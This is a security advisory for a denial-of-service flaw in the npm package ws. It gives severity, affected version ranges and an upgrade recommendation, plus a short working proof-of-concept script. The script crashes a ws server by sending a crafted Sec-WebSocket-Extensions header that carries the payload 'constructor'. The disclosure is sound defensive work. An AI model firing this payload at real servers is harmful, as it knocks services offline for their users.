GHSA-5v72-xg48-5rpm

Suggest an improvement
Source
https://github.com/advisories/GHSA-5v72-xg48-5rpm
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/06/GHSA-5v72-xg48-5rpm/GHSA-5v72-xg48-5rpm.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-5v72-xg48-5rpm
Downstream
CLSA (3)
MINI (2)
Published
2019-06-04T19:37:52Z
Modified
2026-07-17T18:45:50Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Denial of Service in ws
Details

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Database specific
{
    "cwe_ids": [
        "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-04T19:37:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
}
References

Affected packages

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
0.6.0
Fixed
1.1.5

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/06/GHSA-5v72-xg48-5rpm/GHSA-5v72-xg48-5rpm.json"

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
2.0.0
Fixed
3.3.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/06/GHSA-5v72-xg48-5rpm/GHSA-5v72-xg48-5rpm.json"